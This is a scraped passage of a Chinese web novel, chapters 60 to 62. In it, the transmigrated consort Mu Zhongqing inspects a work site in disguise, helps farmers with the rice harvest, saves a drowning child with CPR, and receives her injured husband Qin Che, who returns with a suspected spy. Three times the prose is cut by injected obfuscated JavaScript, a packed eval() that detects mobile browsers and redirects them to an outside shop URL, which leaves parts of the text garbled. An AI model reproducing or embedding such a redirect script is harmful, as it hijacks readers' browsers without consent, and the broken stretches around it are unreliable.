“蔡大人,其实我并不想那么多,我只知道,我看不惯的,就要去改变,无所谓成败,无所谓生死。”慕衷情绕着蔡书霖走,“我知道,我天真得很,懂得也不多,可是我会毫无保留地尽力而为,这可能也是我唯一的优势了吧。” 慕衷情忽然露出一个灿烂的笑容:“蔡大人听过这样一句话吗,我自横刀向天笑,去留肝胆两昆仑,是不是听起来很不错?” 说着,慕衷情蹦蹦跳跳地回到座位上,似乎心情很好的样子。 蔡书霖有些看不透慕衷情的意思,在他眼里,慕衷情是个有善心的人,但也仅仅如此,各方制衡利用的政治手段她不懂也不会,全靠武力镇压,若非所做之事确实有利于清州名望,蔡书霖是断断不会如此配合的。 他高看慕衷情一眼,已经是为这难得的良心。 若是做朋友,他会很乐意和慕衷情这样的人成为朋友,可若是做主上,则还欠了些狠辣与城府。 “督察组的名单还需要蔡大人多费心挑选了,不一定要官员,有原则有良心的平民亦可,如果没事,就去忙吧。”慕衷情下了逐客令。 傍晚时分,司岳回来复命,她给最近一直待在折柳巷帮忙的士兵和侍卫们都分了赏钱,慕衷情夸她做得漂亮,随后将自己想要修订律法的想法告诉了司岳。 “这是好事呀王妃,你看如今青楼也没有了,那买卖良家妇女之风是否应当遏制,往后再发现开设青楼之人应当如何处置,解救的娼妓如何安排都是需要再细细想过的。”司岳看起来非常支持慕衷情重修律法。 慕衷情笑着打量司岳,突然抬手搂住她的脖子:“司岳,我突然觉得你很适合去做宣传尤其是解放妇女,从事生产这一块,以后慢慢准备起来,我看好你哦。” “什什么?”司岳眨眨眼,看向近在咫尺的慕衷情,“王妃是又有何奇思妙想了?” 慕衷情另一只手握拳,目光望向远方道:“我们的征途,是星辰大海!” “啊?” “司岳,如果我想解救更多的百姓,不止清州,甚至不止九州,你会害怕与我同行吗?” 司岳温柔地注视着慕衷情的盘发:“我只希望终有一日,我能与王妃一般勇敢,在这舟安,折柳巷是我最讨厌的地方,可如今,却是我最抱以期待的地方。” “王妃,若是我们都能,早些遇到你就好了。” 60. 六十、 半个月后,王府后门。 慕衷情换上一身粗布麻衣,一个人出了门。 司岳和蔡书霖在明处替她监工,而她则召集了九人与她一起组成了督察组。 两人一组,每日轮班前往工地查探情况,打听消息,看看一切是否如常进行,是否有发生克扣钱粮、殴打工人的事情。 与慕衷情一组的,是一个叫做林且知的孩子,说是孩子,是慕衷情站在现代人的角度看,但在这个朝代,十四岁已经要开始扛起一个家了。 “王妃姐姐,王妃姐姐,来来来,这儿。”不远处的拐角,林且知兴奋地朝慕衷情招手。 慕衷情赶紧小跑过去,做了个噤声的手势:“嘘,别叫我王妃,我们不能暴露身份,知道吗?” 林且知应道:“好的,我问了娘亲,说王妃姐姐姓慕,那我可否唤一声慕姐姐?不行,这样太容易暴露身份了。” 慕衷情笑着摸摸他的脑袋:“那就叫我钟姐姐吧。” “好,钟姐姐跟我来,我娘亲就在舟安徭,不对,钟姐姐赐了名,是舟安施工队里。”林且知走到一旁的推车旁,说道,“钟姐姐今日和我一起去送菜,就能神不知鬼不觉地混进去查探了!” 慕衷情看着一筐又一筐的蔬菜,满意地点点头:“这些菜采购得不错,挺新鲜。” 说着,她走到另一边和林且知合力将推车往前推。 施工队在城外,慕衷情走到附近时突然喊停:“等等。” 她蹲下身,在地上抓住一把湿润的泥土,然后松开,将沾满泥土的手往脸上抹了两下,她平日里露脸的次数也不少,实在不敢赌没人认出她。 好在守卫只是略微检查了一番菜篮里是否藏着什么,发现一切正常后就让他们往后厨的方向去。 林且知虽然年纪小,力气却挺大,一路到后厨都不见喘的,要不是慕衷情每天坚持锻炼,怕是早就走不动了。 “儿子你来啦。”林大娘夫君早逝,一个人把林且知拉扯大,还让他随自己的姓,受过不少非议但仍然我行我素,还将儿子养得这么开朗活泼,知书识礼,可见有多强大。 林且知瞥了一眼慕衷情,上前挽住自己的母亲:“娘,这边干活怎么样呀?我听说这儿的人可是吃得很好呢,我能不能在这儿待一天?” 林大娘敲了敲自家儿子的头:“自然可以,清王妃仁慈,在此做工的人,都可以包餐食,短时包一顿,长时两顿,你只能吃一顿,午后便回去继续读书。” 林且知抱着头给慕衷情使了个眼色:“那钟姐姐和我们一起吃午饭吧。” 林大娘的目光在慕衷情的脸上流连一会儿,小声问自家儿子:“这是哪家的姑娘?怎么跟你干个活,脸上都脏了,你是不是给人添麻烦了。” “娘你问这么多干什么?钟姐姐长这么漂亮,出门可不得小心些。”林且知笑嘻嘻地说道。 慕衷情上前朝林大娘微微福身道:“大娘,我只是做工时恰好与且知一路,赚些工钱补贴家用。” “哦好,来来来,别在这里站着了,累了一路了吧,来坐一会儿,等开饭了我叫你们。”林大娘拉过慕衷情的手,似乎很亲昵的样子。 古代要修建什么,几乎都是靠人力堆的,因此后厨也是来来去去,忙碌得很,林大娘厨艺不错,寡妇门前是非多,她干脆自己开了一家屠宰铺,每日挥舞着大刀,又能挣钱,又能堵住某些欺软怕硬之人的碎嘴子。 两人休息了一会儿,慕衷情就起身卷起袖子说道:“大娘,我给您打个下手吧。” 林大娘又看了一眼她的头发,说道:“成,那你帮我把这些肉剁成肉沫。” “好。”慕衷情基本的厨艺还是有的,拿菜刀的动作也很熟练,她一边剁肉一边问道,“大娘,您在这边做工,每天要忙到什么时辰啊?” “也不晚,比那些工人们晚些,他们吃完饭,我们再收拾收拾就成了。” 林且知坐在一旁主动择菜,闻言接话道:“娘,那你可有听说过这里有什么打骂徭役的事情吗?” “是工人。”林大娘提醒林且知,“我整日在这里,倒是没怎么听说,你们要是想了解做工的情况,我可以找人带带你们。” 林且知看向周围,大家都在各自忙碌,离他们不算太近,四周也不算安静,应当听不到他们说话。 他有些心虚地说:“娘你说什么呢,我可没说要了解这里做工的情况。” 林大娘手上动作不停,看向林且知,露出一个“我还不知道你”的笑容:“这位姑娘双手肌肤细腻,可不像常常干活的女子,这头发,怕也是自己剪的吧?说句心里话,这般行事的女子,也只有那一位了。” 慕衷情先是愣了一下,随即无奈轻笑:“光想着方便了,忘了一般女子都不会去剪自己的头发,确实好认。” 林大娘洗了把手,在围裙上正反都擦了擦,从一旁拿出一块头巾:“不是什么难事儿,我帮你戴上,就不容易看出来了。” 慕衷情微微低头,乖巧地让林大娘将头巾系在自己的头上,脑海垂下的那一片布,恰好挡住了明显短于其他女子的发髻。 林且知盯着慕衷情的头发也看了许久:“娘,你可真厉害,你不说我都没发现。” 林大娘一巴掌拍到他脑后:“你要是这么了解女子,我就得怀疑你是不是背着我哄骗了哪家良家女了。” 林且知抱着头,反驳道:“我每日都在努力读书,哪儿有时间去哄骗女子。” 慕衷情好笑地看戏,见林且知一脸委屈的模样,便帮他岔开了话题:“大娘,中午放饭,我和您一起吧。” “好,你来给我搭把手。”林大娘抬起几屉蒸好的包子放到一边,说道,“儿子,把外头帮把手,把长桌都拼起来,做好的吃食要陆续往外拿了。” “现在拿出来,不会凉了吗?”慕衷情问道。 林大娘解释道:“这都是大锅饭,放桶里盖着,凉得慢,再说了,这么多人的饭菜都堆在这里也不方便,还是拿出去的好。” 慕衷情点点头,用力抱起一桶米饭,搬到外头的长桌上,古代没有太好的条件,只要不克扣食物,饭菜有的凉一些,有的热一些,也还能接受。 午时左右,长桌上摆满了一桶又一桶的饭菜,林且知往每个桶里放进一个大勺,其余人则陆续抬出一桶桶洗过的碗筷,慕衷情特地瞧了一眼,从表面上看洗得还算干净。 很快便到了午时,中午工人们有一个时辰的休息时间,毕竟中午太热,刚吃完饭又容易困,总要劳逸结合。 慕衷情跟着一起放饭,又在午后单独到工地附近逛了逛,发现没有人在逼着工人做工,又在被几个守卫拦下,拿出了她亲手定的“施工重地,不得入内”的牌子,终于满意地离开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13444988|134766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 九月底,水稻陆续成熟,慕衷情来到舟安后的第一次秋收终于到来。 收获的季节总是让人心情愉悦,慕衷情看着金灿灿的稻田,想到进度喜人的工程,整个人都洋溢着满足和快乐。 司岳整日跟在她身边,看到她每天笑容灿烂的,也跟着高兴起来。 虽然慕衷情早就和蔡书霖打过招呼,让所有人待命,做好准备帮助秋收,但目前还没有到那么着急的时候,她更在意的是还有没有人敢在舟安捣乱,若没有,大家相安无事最好,若有,也正好再一次杀个干净。 慕衷情用襻膊固定好袖子,穿着自己编的草鞋,拉着和她同样装扮的司岳,附近有装扮成小贩的守卫,被慕衷情要求在没有危险的时候,不得暴露自己的身份。 “王——衷情,你就这么喜欢下地吗?一定要亲自去吗?”司岳许久没有这样几乎赤脚地走在田垄上,有些不太适应地问道。 慕衷情沉思一会儿道:“是挺喜欢的,在地里,我不会忘了自己是谁,司岳,你也可以感受一下丰收的快乐,就当是陪陪我吧。” 慕衷情小小地撒了个娇,丝毫没有用什么命令的语气,反倒是让司岳无法拒绝。 司岳只好说道:“我自然是要陪着衷情的,若是去地里真的于你有利,便是刀山火海,我也得陪着去啊。” “我就知道,司岳定然是向着我的。”慕衷情笑着说。 这几个月,她与司岳的关系愈发亲密,慕衷情毫不怀疑,即使哪天要司岳在她与秦澈之间选一个,司岳都不会再像从前那样,一心跟着秦澈。 慕衷情在附近观察了一会儿,许多家都是女人带着孩子在割水稻。 不一会儿,司岳便看到有一位老妇人带着一个稚童在挥着镰刀。 慕衷情立刻靠近过去,喊了一声:“奶奶,您这么大年纪了,怎么自己在收稻子啊,您家年轻人呢?” 那奶奶听到声音,直起身打量了一番慕衷情:“你是哪家的姑娘,我好像没见过你啊。” “我是府衙的人,王妃下令了,要来实地调查大家的秋收情况,现下许多人都在修路,自然要来看看大家需不需要帮助,您若是有困难,可以告诉我的。”慕衷情道。 听到是王妃的命令,奶奶露出了笑意:“我儿媳妇刚生完娃娃,可不能让她来,不过我这把身子骨还行,帮家里收收稻子不成问题。” 她身旁的小男孩闻言,也拍拍胸脯:“有我帮奶奶就够了。” 慕衷情没有立刻进到他们的地里,而是继续问道:“这稻子有些倒伏,若是这几日收不好,怕是过熟了,要浪费些许,不如我们来帮你们一起收割吧?” “不必了,不如再去看看别家,我记得张家的地也在附近,他家人丁单薄,许是人手不够。”奶奶说道,给慕衷情指了个方向。 “好,若是您这边来不及,往舟安府衙去找人就成。”慕衷情笑着告别,走向奶奶指的方向。 司岳安静地跟在她身后,走出一段距离后刚想开口问些什么,还没说出口,就听到前方传来一阵喧闹声。 慕衷情拔腿向前跑去,风中的求救声更加清晰。 “救命!有没有人救救我的孩子!” 凄厉的哭声回荡在田野上,慕衷情跑过去,看到一个浑身湿透的妇人怀中抱着一个脸色苍白,同样浑身湿透的男孩。 61. 六十一、 “怎么了,发生了什么?”慕衷情连忙上前,她望向四周,田地开阔,也不知还有没有其他人听到求救声。 她蹲下按住女人的肩膀:“冷静,别哭,先告诉我孩子怎么了。” 女人抽噎几声,说道:“我刚刚在地里干活,孩子就在边上玩,我一转头人就不见了,跑上来才发现掉进水渠里了。” 慕衷情扫了一眼孩子,看起来也就两三岁的样子,小小的一团,这几日要收稻子,地里的水都要排到水渠里,确实有可能淹到这么小的孩子。 她立刻伸手道:“把孩子放平,我来看看。” 女人闻言,像是抓住了救命稻草,吸了吸鼻子,将孩子放平在田垄上,用袖子擦了擦眼泪,希冀地看着慕衷情。 慕衷情谈了谈鼻息,已经没有动静,她又跪下把耳朵放到男孩胸口仔细听,而后说道:“我试试,但不一定能成功。” 说罢,她没有等女人的回答,解开男孩的衣服,又对司岳说:“帮我把他的下巴稍微抬起来些,你手托着些他的脑袋。” 慕衷情一边指挥司岳,一边在男孩胸口比划位置,孩子还小,她得控制好力道,若是肋骨被摁断了,这个世界的医术怕是没那么好救。 “司岳你也一同数着点,我按三十下,就给孩子做人工呼吸。”慕衷情说着,手下已经动作起来。 “什么?什么是人工呼吸?”司岳经历过生死,此时还算是冷静,只是慕衷情的动作太快,她又听不懂一些词汇,不免有些紧张。 慕衷情一时半会也解释不清,便没有回答,她嘴里低声数着数,把之前学过的急救知识在脑海里翻来覆去地背着,生怕自己做错了一步,导致这个孩子救不回来。 没过几分钟,慕衷情明显已经感到吃力,手臂酸胀得难受,做人工呼吸的动作也比之前慢了少许。 那女人手脚上还沾着泥,看着慕衷情额头沁出汗水,渐渐力不从心的模样,闭上眼颤着声说道:“姑娘,放弃吧,是我们命不好。” 慕衷情的动作顿了一下,却没有听,她还没有到极限,这孩子便不算真正死去。 司岳咬着下唇,不知怎的,眼泪忽然掉了下来。 高门与普通百姓之间横亘着无法逾越的鸿沟,司岳从未见过有高门子弟,这样在乎一个普通孩子的性命。 “咳,咳咳咳……”就在几人就开始绝望的时候,孩子忽然呛出一口水来,随即便是不停地咳嗽,他睁开眼睛,哇地一声哭了出来。 慕衷情瞬间瘫坐在地上,想抬起手擦擦脸上的汗,却抖得不行。 司岳猛地过来抱住慕衷情,轻轻拍着她的背。 刚刚还一脸绝望的女人立刻抱住自己的孩子安抚,反应过来后挪动身子朝慕衷情不停地磕头。 “谢谢恩人救了我孩子的命,谢谢恩人!”她不知如何表达自己的谢意,更不知如何报答这份恩情,只能用力地磕头。 慕衷情坐在地上,也不着急站起来,鬓边的碎发贴在她的脸颊侧,看起来好不狼狈。 “不用这样,起来吧,若是你真想报恩,回答我几个问题就好。”慕衷情气定神闲地说道。 “恩人所问,我必毫不隐瞒。”女人额头上已经被碎石磕出了血,目光灼灼地望着慕衷情。 慕衷情实在是累,便对司岳说道:“给她擦擦额头的伤。” 司岳照做,拿出帕子替女人擦了擦额头的脏污和血迹。 “你家中有几口人?为何只有你与这个孩子在地里?”慕衷情见差不多了,便开口问道。 男孩缓了过来,此时正缩在母亲的怀里,他怯生生地望向慕衷情和司岳,似乎还不知道到底发生了什么,不过他看起来很乖,哭完一阵后发觉母亲情绪不对便不再吵闹,只紧紧抱着自己的母亲。 女人抹泪:“我丈夫去修路了,公婆早逝,原本还有个小叔子,只是去年因为多瞧了一位贵人家的小姐几眼,便被活生生挖去了眼珠子,没有熬过冬天便去了。” 慕衷情垂眸问道:“报仇了吗?” 女人扯出一抹苦涩的笑,眼里却是真心实意的感谢:“清王妃已经为无数百姓都报了仇了,这些地,也是王妃分给我们的。” 慕衷情又轻声问:“够活下去吗?” “有了地,自然是可以活下去的。”女人答道,却是有些不明白慕衷情为何问这些。 “若再出现有人抢占土地,欺男霸女的行径,你可会去报官?” 女人犹豫了,慕衷情叹息:“我明白了,只是够活下去而已。” “姑娘说笑了,这年头,能活下去,已是幸运了。”女人不知她为何如此感慨,似乎眼中还有失落,便安慰道。 慕衷情摇摇头,喃喃自语道:“这怎么够呢?只是我一个人也搞不来工业革命啊,没有足够的基础,没办法改变社会形态啊,那就还是只能好好种地,提高亩产,让所有人都能吃得上饭了,道路水渠工具……” 女人茫然地看向司岳,司岳连忙道:“我家妹子就是这样,想事情时总爱自言自语,不必在意。” 一阵风吹来,母子两人身上的衣服还湿着,有些发冷。 司岳便道:“你们先回去换身衣裳吧,虽是夏日,伤风也是难受的。” 女人又是磕了一个头:“只是还不知恩人姓名,来日必当报答救命之恩。” 慕衷情回过神来:“我叫慕衷情,叫我衷情就好。” “今日多谢衷情姑娘了。”女人起身,朝他们鞠躬,而后抱着孩子离开,走出一段路后,她又兀自低语道,“姓慕……难不成……” 又坐了一会儿,等体力恢复得差不多了,慕衷情才站起来对司岳说道:“这样还是不行,司岳,明日你与蔡大人一起带些人来,不用太多,五六个足矣,一家一家过去帮忙收稻子,现在人心不齐,人多了反而容易出乱子。” “是!” 翌日,慕衷情交代了司岳注意的事项,告诫他们千万不可拿百姓的东西,也一定不能糟蹋浪费粮食,又细细叮嘱了一番大家要注意态度,才让他们离开。 而她自己则是又窝在书房里,细细写下了心肺复苏和海姆立克的动作细节,这里医术不够发达,但这两个法子好学好记,也不需要什么仪器,很适合推广。 整理纸张时,她看到了自己先前写下的三大纪律八项注意,想了想,她又誊抄了一遍三大纪律,改造军队不是一件容易事,即便是伟人也花了许多时间和精力,遇到过无数危险才成功。 她唯一的优势就是身份。 但这个身份也不是稳固的,而是皇权与封建制度赋予的,若是秦澈要收了她如今的权力,也不过是一句话的事情而已。 清州毕竟是清王的封地。 慕衷情捏紧了手中的笔,心里盘算着,若是清州没了清王,那她这个清王妃的身份,是不是就无人可撼动了。 良久,慕衷情猛地回过神,手中的笔落到桌子上,她抬手拍拍自己的脸:“不行不行,不能这样。” 秦澈对她不差,若无必要,她不该随意动害人的心思。 晚上,司岳回来汇报,今日的任务执行得并不太顺利,大多数农户对于官兵还是有些戒备,很多人一开始都是拒绝他们的帮助,甚至害怕他们抢走粮食。 慕衷情并不意外,日久才能见人心,她有耐心:“明日我和你一起去,我来尝试说服他们,挑的人品行一定要端正,别出岔子。” “王妃放心,那明日便要辛苦王妃了。”司岳虽然还喊着王妃,却不似往常低眉顺眼,而是直勾勾地盯着慕衷情,眼里满是仰慕。 平心而论,若她是王妃,怕是不会冒这么大的险,顶着这么多的辛苦费劲心力奔走。 翌日,天边才露出一丝微光,慕衷情便已经洗漱完毕,草草吃了早饭,往小包裹里塞了些馒头烧饼,便出了门。 夏日中午炎热,农户一般会起得比平时更早,在还算凉爽的上午干活,只要不是太着急,到午时便先回家休息一下,待到下午再来。 “你们昨日问了哪家被拒绝了?”慕衷情带着人来到田边问道。 司岳指向左前方:“那家,我见大爷人又黑又瘦,只有一个人在劳作,便询问要不要帮助。” 慕衷情朝着那方向走去,说道:“那就去这家试试。” 身后五人拿着镰刀,紧跟其后,看起来确实不太友善。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13457804|134766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 慕衷情似乎是意识到了什么,转头对几人说道:“你们这表情太严肃了,快笑一个。” 司岳选的都是军中好手,就是习惯了绷着脸,面对敌军时气势足够,面对百姓时就显得太凶悍了。 那五人勉强勾起唇角,慕衷情差点没控制住表情:“那个什么,不要皮笑肉不笑,要友善一点。” 几人面面相觑,十分为难,司岳见状笑出声,说道:“你们就想着,今日王……衷情带你们去帮农户,来日也会有人去帮你们的父母兄弟姐妹。” 此话一出,几个高大的男人脸上都露出了些许不好意思的笑意,在这个时代,他们当兵打仗,无非就是为了吃饱饭,挣点军功,给家里减轻点负担。 他们不识字,不懂太多高深的道理,所图也不过就是与家人好好生活,安居乐业。 慕衷情笑着勾住司岳的脖子,高兴道:“我就说,你果然有天赋。” 果然如慕衷情所料,几人不再绷着脸后,那老人家的警惕之意少了许多,再加上昨日他们帮了另一户人家,也没有传出什么可怕的事情来,犹豫了一会儿后,老人家便答应让他们帮忙,指了指收下来的稻谷堆放的地方后,又一头扎进了地里。 慕衷情十分熟练地挽起裤脚下地,和他们一起收割稻子。 日头渐盛,慕衷情没着急去攀谈,而是埋头苦干,满脸是汗,脸蛋被晒得通红,看得那老人家都有些不好意思了。 “姑娘,我知道你们的好意了,天热了,快些去休息吧。” 慕衷情缓缓直起身,手本能地托着酸痛的腰:“大爷,那您也回家休息了吗?下午几时来,我们约个时间。” 老人家连连摆手:“不必了,今日你们已经帮我收了许多,余下的我自己来就成。” “大爷,做人做事需有始有终,我们既是官府派来的,就至少得帮您做完这一天的活儿。”慕衷情边说,又弯下腰去割了一把稻子,“您这番推辞,显得我们别有用心似的,倒是要伤了我们的心了。” 这个时代的老人家何时听过这样的茶言茶语,有些无措地说道:“那我也不能连累了你们受罚,可也不能白让你们替我做工,下午我便带些自家老婆子做的点心给你们分一点吧。” “好,那便多谢了。”说罢,他们陆陆续续散去,回家吃饭。 回程的路上,司岳忍不住问道:“王妃,吃点心这算不算我们拿了百姓的东西呀?” 慕衷情迈着一点都不淑女的步伐道:“做人要灵活,这是他们的好意,可以收,但相应的,我们可以付钱,或者回礼,别叫他们吃了亏。” 司岳了然:“我知道了,下午我也带些吃食与他分享。” 慕衷情提醒道:“多带些,要分给他家人,毕竟我们这里可以这么多张嘴。” 司岳连连点头,笑容满面。 临近申时,最热的那阵过去,农户们又都回到了地里,慕衷情几人头上戴着草帽,手上还抱着一堆,准备分发给没有草帽的农户们。 来到附近的茶摊,司岳和几个士兵支起一个小摊,铺上一层棉布,将草帽放到上面,而后又摆了一块牌子,天热暑气重,草帽可自取。 慕衷情故意没有留下姓名,却戴着一模一样的草帽继续干活,还给那位爷爷也带了一顶,她要做好事,但不能自己宣扬,要让百姓们自己去发现,这样的效果会更好。 不一会儿,小摊附近便多了许多人,一开始大家会有些犹豫,直到有胆大的人第一个拿走草帽,后面的人便陆续跟上。 并非是所有人家中都没有草帽,只是像他们这般的,总得事事精打细算,多拿一顶草帽也是好事。 酉时,太阳逐渐落山,已经家里人手多进度快的农户陆续回家。 就在这时,不远处传来一阵喧闹声。 慕衷情轻轻捶着腰起身,抹了一把额头的汗,她望过去,瞥见一个熟悉的身影。 忽地,她心头涌上来一阵莫名复杂的情绪,捏紧了镰刀柄。 她庆幸秦澈平安归来,又私心想要他晚些回来。 前面的司岳也看到了那人,激动地拿着镰刀跑过去:“王爷?王爷!是王爷来了!” 62. 六十二、 直到秦澈走近,慕衷情才注意到他竟然拄着拐杖,腿一瘸一拐的。 好在慕衷情一直对外封锁秦澈的消息,如今也能放话秦澈是受了伤,这几个月在静养。 只是,秦澈为何这时来找她?总不能是几个月不见,如隔好几百个秋吧? 慕衷情看了眼天色,太阳只余一小部分便要完全沉入地平线,日出而作日落而息,是该回去了。 秦澈的拐杖没入有些松软的泥土中,他用力一拔没拔出来,反而还让脚也陷进去了,南方多雨潮湿,这里的地本来就很容易难走,拐杖的着力面积太小,陷进去太正常不过了,看到秦澈无措茫然的模样,慕衷情所有的复杂思绪都被这个小小的意外逗得烟消云散。 她上前,把镰刀往旁边一放,止不住地笑,但还是蹲下身,招呼周围的人说道:“来来来,王爷陷进地里了,大家赶紧来拔萝卜。” 秦澈脸色微红,他叱咤疆场多年,还从来没遇到过这么窘迫的境况。 虽然也不是什么大事,但实在有些丢人。 几个人合力把秦澈从那处特别湿的土里拔出来,秦澈盯着慕衷情满是汗水的脸,既不端庄,也不优雅,手上还多了些细小的伤口,像是收割时刮伤的。 可秦澈无法用狼狈来形容她,慕衷情的笑意一如往常,比他见过的所有女子都要明媚昂扬。 秦澈不自觉地也跟着笑了,清清嗓子说道:“我来接王妃回家。” 慕衷情听到王妃两个字,下意识地望向四周,发现大家似乎都不是很惊讶,她挠挠头,心道自己真不适合伪装身份,怎么老是瞒不住人。 司岳也好奇地问:“大爷,您是早就知道王妃的身份了吗?怎么一点儿都不吃惊呀?” 大爷笑呵呵道:“王妃的手一看便知不是普通人家,不是常年干活的人,再一想这段时日城中发生的事情,也不难猜出王妃的身份。” 大概是慕衷情的名声太好,即使是发现了身份,大爷也并没有太惊慌,刚刚的小插曲更是将四周农户的紧张消除了大半,原来像王爷这般骁勇善战的人物,也会陷到地里啊,他用的拐杖也不是金子做的。 “那今日我们便先回去了,大爷您记住,若是担心误了收稻子的时辰,可以去舟安府衙找人,也可以来王府找我帮忙。”慕衷情故意大声说道,想让周围的农户都能听到。 大爷早已没了最开始时的戒备,但还是行礼道:“草民谨记。” 慕衷情蹦蹦跳跳地走在前头,在并不平坦的田垄上如履平地。 回到王府时,慕衷情想着先去洗个澡换身衣服,却见蒋羽和一个素衣女子坐在大厅中,似乎是在等人。 慕衷情顿生八卦之心,她走上前装作自然地对蒋羽说道:“师父你回来得正好,这几日我正巧琢磨出两个救人的法子,想与你探讨一下,不知这位姑娘是?” 蒋羽瞄了一眼秦澈道:“这位是柳姑娘,我与王爷遇险,王爷为了救我断了一条腿,这些时日我与王爷既要躲避杀手,又要养伤,多亏柳姑娘收留,才能安稳回到舟安,只是柳姑娘孑然一身,王爷怜其孤苦无依,便将人带了回来。” “那真是要多谢柳姑娘了,那怎么还呆在这儿呀,王爷还不快给人安排房间住下。”慕衷情朝秦澈眨眨眼,没有一点儿不开心的样子。 秦澈沉默了一会儿,才开口道:“来人,给柳姑娘安排处清净的小院。” 柳姑娘看着柔柔弱弱的,说起话来也是轻声细语,惹人怜爱:“多谢王爷。” 说着,她似乎幽怨地望了慕衷情一眼,跟着带路的下人离开。 等她走后,慕衷情高兴地拉住蒋羽的手腕:“走走走,师父,我准备推广下那两个急救方法,简单好使还有用。” “等等。”秦澈盯着慕衷情的手,在她回头又迅速挪开目光道,“你就不想问问,我为什么带柳燕燕回来?” 慕衷情不解:“为什么要问这个啊?要问也该问是谁要追杀你吧?不过想来想去也就姜喧这么阴魂不散的。” 秦澈上前两步,盯着慕衷情的眼睛:“你当真一点都不在意?” “在意什么啊?那个柳姑娘?”慕衷情拍拍秦澈的肩,语重心长地解释道,“你放心啦,我又不是什么无理取闹的人,你带她回来肯定有你的理由,不管是因为她是救命恩人,还是因为她身份有问题,可能是个卧底,我相信你都能处理好。” 秦澈一时无言,只觉得实在憋屈,他别过头问:“你怎么知道她身份有问题?” 慕衷情无语地看着秦澈:“你都喊她全名了,可见不是真的把她当恩人,那大概率就是姜喧的人咯,这不是很简单嘛。” 秦澈半晌没话,最后憋出来一句:“你先去忙吧,我刚回来也有许多事务要处理。” “好嘞,不过你伤还没好,注意休息。”说罢,慕衷情便拉着蒋羽跑了。 司岳在后头瞧瞧秦澈,又瞧瞧慕衷情的背影,忽然掩唇一笑。 秦澈看到,没好气地说:“有这么好笑吗?” 司岳的胆子早被慕衷情养大了,立刻道:“王爷,王妃只是迟钝了些,并非不在意您,这些时日,她可是一直没放弃派人找您呢。” “当真?”秦澈装作不在意地问。 “自然是真的,司岳怎敢欺瞒王爷。”司岳的笑容愈发灿烂,这下茶余饭后,和那些士兵们倒是有得八卦谈了。 她还是第一次在秦澈脸上瞧见那般委屈的模样。 别人家都是生怕夫妻之间有什么误会,王爷这是巴不得王妃醋意大发呢。 不过王妃这般顶顶好的人,王爷在意也是正常的,司岳这般想着,跟上秦澈的步伐,跟他汇报这段时日舟安发生的大事。 没跑出多远,蒋羽便挣开了慕衷情的手:“王妃,男女授受不亲。” “哦对,我忘了,不好意思啊轻薄你了。”慕衷情立刻道歉,结果听得蒋羽更无奈了。 蒋羽回头望去,发现秦澈没有跟上来,便轻声道:“王妃,我与王爷此行九死一生,着实凶险,王爷想要早些回舟安,但杀手追得紧,不得已隐瞒消息,又因为我才使王爷受了重伤,王妃切勿责怪王爷。” “啊?我没有怪他啊,你们两个怎么刚回来就奇奇怪怪的。”慕衷情更加迷茫了。 “王妃就不担心王爷会被柳燕燕所迷?”蒋羽也有点茫然。 “他又不是傻子,都知道是卧底了怎么还会被迷上啊?”慕衷情一脸不解,“难道他就喜欢这款的?你是担心他做出什么傻事来?” “不不不,不是的,王妃千万别误会。”蒋羽两手紧张地搓着,“只是王爷在外时,一心惦记着王妃,王妃见王爷带了一个女子回来,却无动于衷,王爷难免会伤心。” 慕衷情恍然大悟:“你是担心这个啊,那你放心,他不会的,他知道我是什么人。” 蒋羽抓耳挠腮, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13473356|134766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 总觉得哪里不太对,但很快就被慕衷情和他讲的那两个救人法子给吸引了注意力。 “王妃,你真的用这法子救活了一个被淹死的孩子?”蒋羽不可思议地问。 “纠正一下,那孩子没有真正死亡,只是如果不及时救治,窒息时间太长就会真的死掉。”慕衷情解释道,“如果不是什么严重的外伤,人刚失去呼吸心跳的时候是有机会救活的。” 蒋羽在书房来回走动:“大概方法倒是不难记住,有些经验的大夫都能控制自己的力度。” 慕衷情倒了两杯茶水:“师父你先坐下,我写这些可不是只给大夫学的,我希望这可以像全民推广,每个百姓都能了解,遇到危机时,他们可以互帮互助。” 蒋羽皱起眉头,并不太情愿:“那些愚昧之人,如何学得?” “愚昧之人当然有,而且懂得越少越愚昧,可他们也是没有了解这些的途径才会如此,我如今想要所有人都知道这两个法子,也是希望将来真的有人身陷危险时,有更大的机会救回一命,百姓中有善良朴实的就会有愚昧残忍的,就如你这个医者的身份一般,有宅心仁厚的,也会有见财起意,滥竽充数的庸医。”慕衷情知道他始终忘不了自己师父被活活打死的事情,耐心劝解道。 站在蒋羽的角度,慕衷情很理解他的怨恨,但慕衷情也有自己的立场,只能尽量劝说,如果蒋羽实在无法接受去负责这件事,也只好另选他人。 